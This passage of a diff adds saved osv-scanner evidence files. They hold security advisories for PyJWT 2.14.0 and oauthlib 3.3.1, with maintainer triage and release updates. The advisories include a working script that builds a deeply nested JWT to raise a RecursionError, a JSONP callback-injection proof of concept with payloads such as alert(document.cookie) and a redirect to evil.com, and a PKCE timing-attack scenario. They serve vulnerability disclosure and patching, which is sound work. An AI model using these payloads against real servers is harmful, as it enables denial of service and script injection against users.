response from a JWKS endpoint raises the same raw\n`RecursionError`, uncaught entirely (worse than the payload path, which at\nleast caught plain `ValueError`).\n\n**Affected versions:** confirmed present in the current release, 2.14.0,\nand on the current `master` branch (commit `4adcd02722f5011c60079d3978dfc167b9a8eaa5`).\n\n## Reproduction\n\n```python\nimport base64, json, jwt\n\ndef b64url(b):\n return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\npayload = b64url(b\"[\" * 20_000 + b\"]\" * 20_000)\ntoken = (header + b\".\" + payload + b\".\" + b64url(b\"forged-sig\")).decode()\n\njwt.decode(token, options={\"verify_signature\": False})\n# raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)\n```\n\nControl: the same deeply-nested structure moved into the token's **header**\ninstead of its payload is correctly converted to `jwt.DecodeError` by the\nalready-hardened `jwt/api_jws.py:360` — confirming the payload path is\nspecifically the missed half of the v2.14.0 hardening, not a general gap.\n\n## Impact assessment\n\nUnauthenticated denial-of-service via unhandled exception on an auth path.\nNot an auth bypass — rated medium. With signature verification enabled,\nthis parse runs after `_verify_signature`, so only the pre-verification\npaths (`get_signing_key_from_jwt`, explicit `verify_signature=False`) are\nattacker-reachable pre-auth; the JWKS-endpoint variant requires control of\n(or a MITM on) the configured JWKS endpoint rather than being reachable\nfrom an arbitrary client token.\n\n## Suggested fix\n\nIn `jwt/api_jwt.py:299`, change `except ValueError as e:` to\n`except (ValueError, RecursionError) as e:`, mirroring\n`jwt/api_jws.py:360` exactly. In `jwt/jwks_client.py`, add the same\n`(ValueError, RecursionError)` handling around `json.load(response)` in\n`fetch_data`, raising `PyJWKClientError` (consistent with the method's\nexisting documented error contract). A patch implementing both, verified\nagainst the full test suite (457 passed, 4 skipped — pre-existing,\nenvironment-related) and against the reproduction above (now correctly\nraises `DecodeError`), is attached (`fix.patch`).\n\n## Discovery method\n\nFound and verified using `scopegrep` (https://github.com/not-ekalabya/scopegrep)\n— a semantic code-retrieval tool that surfaces every other call site of a\nsymbol alongside relevance-ranked results, which is what surfaced the\nalready-hardened header path as the direct comparison here — paired with\nan LLM coding agent (GLM-5.3) run as an open-ended security review of this\nrepository. Independently reproduced against the exact commit above before\nthis report was written. Happy to share the full session transcript on\nrequest.\n\n## Disclosure status\n\nNot shared with any other party or published. Submitting through this\nprivate channel per the project's stated security policy; no planned\npublic/conference disclosure ahead of a coordinated timeline.\n\n\n---\n\n## Maintainer triage update (2026-09-22)\n\n### Confirmed finding and scope\n\nWe confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python `RecursionError` to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with `verify_signature=False` and `PyJWKClient.get_signing_key_from_jwt`, where payload parsing occurs before key lookup.\n\nThe demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.\n\nThe separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.\n\n### Version and remediation status\n\nHistorical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is `/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md` (SHA-256 `c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81`) and `/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json` (SHA-256 `324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076`). The evidence-backed supported affected range is `\u003e= 2.0.0a1, \u003c= 2.14.0`.\n\nHistorical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into `master` or released. Consequently, `patched_versions` remains empty and this advisory remains in `triage`. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in `master` and is released, `patched_versions` and advisory lifecycle can be updated in a separate approved batch.\n\n---\n\n## Maintainer remediation update (2026-09-23)\n\nThe confirmed payload-parser finding has been fixed on `master`. Commit\n`5fde08a6cf906aa7698de2d6391d88b73006b17b` converts a recursive\npayload parse failure to the expected `DecodeError`; commit\n`9bc06658f875b9b40091539140bbbdc4639161c3` makes the regression tests\ndeterministic across supported Python versions. This update supersedes the\n2026-09-22 remediation-status statement that the fix had not landed.\n\nThe original pre-verification payload reproducer and the\n`PyJWKClient.get_signing_key_from_jwt` path were covered by regression tests.\nThe exact landed tree passed the full 39-environment local tox matrix and\nGitHub CI for commit `9bc06658f875b9b40091539140bbbdc4639161c3` passed\nall 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact\nremains an uncaught request-level exception in affected releases; there is\nstill no evidence of process termination, persistent resource exhaustion,\nauthentication bypass, or confidentiality or integrity impact.\n\nThe supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`. The latest\nreleased version is 2.14.0, which predates these commits; no released\npatched version exists yet, so `patched_versions` remains unset. CVSS v3.1\n5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from\ntriage to private draft. The next lifecycle step is a new supported 2.x\nrelease containing the fix, followed by separately approved patched-version\nand publication updates after release verification.\n\n---\n\n## Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` and deterministic regression-test commit `9bc06658f875b9b40091539140bbbdc4639161c3`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: the deeply nested unsigned payload now raises `DecodeError`, while an ordinary unsigned payload still decodes. The supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`; the patched version is `2.15.0`. Earlier statements in this advisory that no released patched version exists are superseded by this update.\n\nThe confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.", + "id": "GHSA-42vr-xj54-vc7v", + "modified": "2026-09-30T16:00:09.812873551Z", + "published": "2026-09-30T15:41:05Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101918" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.15.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "type": "CVSS_V3" + } + ], + "summary": "PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.txt new file mode 100644 index 000000000..3163f1a95 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.txt @@ -0,0 +1,364 @@ +argv: ["rtk", "proxy", "/osv-scanner", "scan", "source", "--config", "/empty-config.toml", "--no-resolve", "--lockfile=requirements.txt:/baseline.lock", "--format", "json"] +cwd: +started_utc: 2026-09-30T17:01:28.554864+00:00 +ended_utc: 2026-09-30T17:01:29.250963+00:00 +exit_code: 1 + +stdout: +{ + "results": [ + { + "source": { + "path": "/baseline.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + }, + { + "package": { + "name": "pyjwt", + "version": "2.14.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-42vr-xj54-vc7v" + ], + "aliases": [ + "CVE-2026-101918", + "GHSA-42vr-xj54-vc7v" + ], + "max_severity": "5.3" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 2.14.0", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-42vr-xj54-vc7v/GHSA-42vr-xj54-vc7v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pyjwt", + "purl": "pkg:pypi/pyjwt" + }, + "ranges": [ + { + "events": [ + { + "introduced": "2.0.0a1" + }, + { + "fixed": "2.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "2.0.0", + "2.0.0a1", + "2.0.0a2", + "2.0.1", + "2.1.0", + "2.10.0", + "2.10.1", + "2.11.0", + "2.12.0", + "2.12.1", + "2.13.0", + "2.14.0", + "2.2.0", + "2.3.0", + "2.4.0", + "2.5.0", + "2.6.0", + "2.7.0", + "2.8.0", + "2.9.0" + ] + } + ], + "aliases": [ + "CVE-2026-101918" + ], + "database_specific": { + "cwe_ids": [ + "CWE-248" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-30T15:41:05Z", + "nvd_published_at": "2026-09-28T21:17:13Z", + "severity": "MODERATE" + }, + "details": "## Summary\n\n`PyJWKClient.get_signing_key_from_jwt(token)` — the first step of the JWKS\nverification flow documented in `docs/usage.rst` — must decode a token's\npayload before its signature can be checked, via\n`jwt.api_jwt.decode_complete(token, options={\"verify_signature\": False})`.\nThat call parses the payload with `json.loads` in `PyJWT._decode_payload`\n(`jwt/api_jwt.py:297-300`), whose `except` clause catches only `ValueError`.\nA payload that is valid JSON but nested ~20,000 levels deep makes\n`json.loads` raise `RecursionError`, which is **not** a `ValueError` and\nescapes as a raw, undocumented exception type — not `DecodeError`,\n`InvalidTokenError`, or `PyJWTError`, so every documented error-handling\npattern in `docs/usage.rst` misses it.\n\nThe token needs no valid signature and no network access — the crash\nhappens during payload parsing, before the `kid` is even looked up. A\nsingle unauthenticated ~50KB request crashes the caller's auth handler\n(HTTP 500 / dead worker), repeatably. The same path is reachable through\nplain `jwt.decode(token, options={\"verify_signature\": False})` too.\n\nNotably, this project already fixed the **identical** bug class for the\nJWS **header** path — `PyJWS._load` catches `(ValueError, RecursionError)`\nand wraps it in `DecodeError` (`jwt/api_jws.py:360-361`), and\n`CHANGELOG.rst` (v2.14.0, \"Security\") states \"Handle deeply nested and\nmalformed JWS/JWK input without uncaught recursion errors.\" The payload\npath — the one part of a forged token an unauthenticated attacker fully\ncontrols — was left catching `ValueError` alone, so that security fix does\nnot fully hold.\n\nA second, related instance: `PyJWKClient.fetch_data` (`jwt/jwks_client.py:168`)\nparses a JWKS endpoint's response with `json.load(response)` inside a\n`try` that only catches `(URLError, TimeoutError, http.client.HTTPException)`\n— a deeply-nested JSON response from a JWKS endpoint raises the same raw\n`RecursionError`, uncaught entirely (worse than the payload path, which at\nleast caught plain `ValueError`).\n\n**Affected versions:** confirmed present in the current release, 2.14.0,\nand on the current `master` branch (commit `4adcd02722f5011c60079d3978dfc167b9a8eaa5`).\n\n## Reproduction\n\n```python\nimport base64, json, jwt\n\ndef b64url(b):\n return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\npayload = b64url(b\"[\" * 20_000 + b\"]\" * 20_000)\ntoken = (header + b\".\" + payload + b\".\" + b64url(b\"forged-sig\")).decode()\n\njwt.decode(token, options={\"verify_signature\": False})\n# raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)\n```\n\nControl: the same deeply-nested structure moved into the token's **header**\ninstead of its payload is correctly converted to `jwt.DecodeError` by the\nalready-hardened `jwt/api_jws.py:360` — confirming the payload path is\nspecifically the missed half of the v2.14.0 hardening, not a general gap.\n\n## Impact assessment\n\nUnauthenticated denial-of-service via unhandled exception on an auth path.\nNot an auth bypass — rated medium. With signature verification enabled,\nthis parse runs after `_verify_signature`, so only the pre-verification\npaths (`get_signing_key_from_jwt`, explicit `verify_signature=False`) are\nattacker-reachable pre-auth; the JWKS-endpoint variant requires control of\n(or a MITM on) the configured JWKS endpoint rather than being reachable\nfrom an arbitrary client token.\n\n## Suggested fix\n\nIn `jwt/api_jwt.py:299`, change `except ValueError as e:` to\n`except (ValueError, RecursionError) as e:`, mirroring\n`jwt/api_jws.py:360` exactly. In `jwt/jwks_client.py`, add the same\n`(ValueError, RecursionError)` handling around `json.load(response)` in\n`fetch_data`, raising `PyJWKClientError` (consistent with the method's\nexisting documented error contract). A patch implementing both, verified\nagainst the full test suite (457 passed, 4 skipped — pre-existing,\nenvironment-related) and against the reproduction above (now correctly\nraises `DecodeError`), is attached (`fix.patch`).\n\n## Discovery method\n\nFound and verified using `scopegrep` (https://github.com/not-ekalabya/scopegrep)\n— a semantic code-retrieval tool that surfaces every other call site of a\nsymbol alongside relevance-ranked results, which is what surfaced the\nalready-hardened header path as the direct comparison here — paired with\nan LLM coding agent (GLM-5.3) run as an open-ended security review of this\nrepository. Independently reproduced against the exact commit above before\nthis report was written. Happy to share the full session transcript on\nrequest.\n\n## Disclosure status\n\nNot shared with any other party or published. Submitting through this\nprivate channel per the project's stated security policy; no planned\npublic/conference disclosure ahead of a coordinated timeline.\n\n\n---\n\n## Maintainer triage update (2026-09-22)\n\n### Confirmed finding and scope\n\nWe confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python `RecursionError` to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with `verify_signature=False` and `PyJWKClient.get_signing_key_from_jwt`, where payload parsing occurs before key lookup.\n\nThe demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.\n\nThe separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.\n\n### Version and remediation status\n\nHistorical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is `/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md` (SHA-256 `c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81`) and `/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json` (SHA-256 `324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076`). The evidence-backed supported affected range is `\u003e= 2.0.0a1, \u003c= 2.14.0`.\n\nHistorical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into `master` or released. Consequently, `patched_versions` remains empty and 